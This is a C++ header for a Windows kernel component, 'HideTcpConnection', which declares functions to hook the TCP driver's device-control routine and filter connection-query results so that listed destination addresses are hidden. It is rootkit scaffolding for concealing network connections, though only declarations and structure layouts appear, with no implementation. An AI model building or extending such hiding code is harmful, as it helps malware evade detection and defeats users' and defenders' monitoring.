#ifndef HIDE_TCP_CONNECTION_H_H
#define HIDE_TCP_CONNECTION_H_H

class _DRIVER_OBJECT;
class _DEVICE_OBJECT;
class _IRP;

typedef _DRIVER_OBJECT DRIVER_OBJECT;
typedef _DEVICE_OBJECT DEVICE_OBJECT;
typedef _IRP IRP;

typedef NTSTATUS (*IrpRoutine)(DEVICE_OBJECT* , IRP* );

class HideTcpConnection
{
public:
	virtual ~HideTcpConnection();
	static HideTcpConnection* createHideTcpConnection();
	bool isHide(unsigned long dstAddress);
	bool addDstAddressHide(unsigned long dstAddress);
	bool delDstAddressHide(unsigned long dstAddress);
	IrpRoutine getTcpDeviceIoControlRoutine(){
		return m_TcpOldDeviceControlRoutine;
	}
protected:
	bool hookTcp();
	bool unhookTcp();
private:
	HideTcpConnection(size_t maxListSize = 50);
	size_t			m_MaxListSize;
	size_t			m_CurrentSize;
	unsigned long*	m_DstAddressHideList;
	DRIVER_OBJECT*	m_TcpDriverObject;
	DEVICE_OBJECT*	m_TcpDeviceObject;
	IrpRoutine		m_TcpOldDeviceControlRoutine;
};


#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//#define MAKEPORT(a, b)   ((WORD)(((UCHAR)(a))|((WORD)((UCHAR)(b))) << 8))
#define HTONS(a)  (((0xFF&a)<<8) + ((0xFF00&a)>>8))

typedef struct _CONNINFO101 {
	unsigned long status; 
	unsigned long src_addr; 
	unsigned short src_port; 
	unsigned short unk1; 
	unsigned long dst_addr; 
	unsigned short dst_port; 
	unsigned short unk2; 
} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {
	unsigned long status; 
	unsigned long src_addr; 
	unsigned short src_port; 
	unsigned short unk1; 
	unsigned long dst_addr; 
	unsigned short dst_port; 
	unsigned short unk2; 
	unsigned long pid;
} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {
	unsigned long size;
	unsigned long status; 
	unsigned long src_addr; 
	unsigned short src_port; 
	unsigned short unk1; 
	unsigned long dst_addr; 
	unsigned short dst_port; 
	unsigned short unk2; 
	unsigned long pid;
	PVOID    unk3[35];
} CONNINFO110, *PCONNINFO110;

typedef struct _REQINFO {
	PIO_COMPLETION_ROUTINE OldCompletion;
	unsigned long          ReqType;
} REQINFO, *PREQINFO;

#endif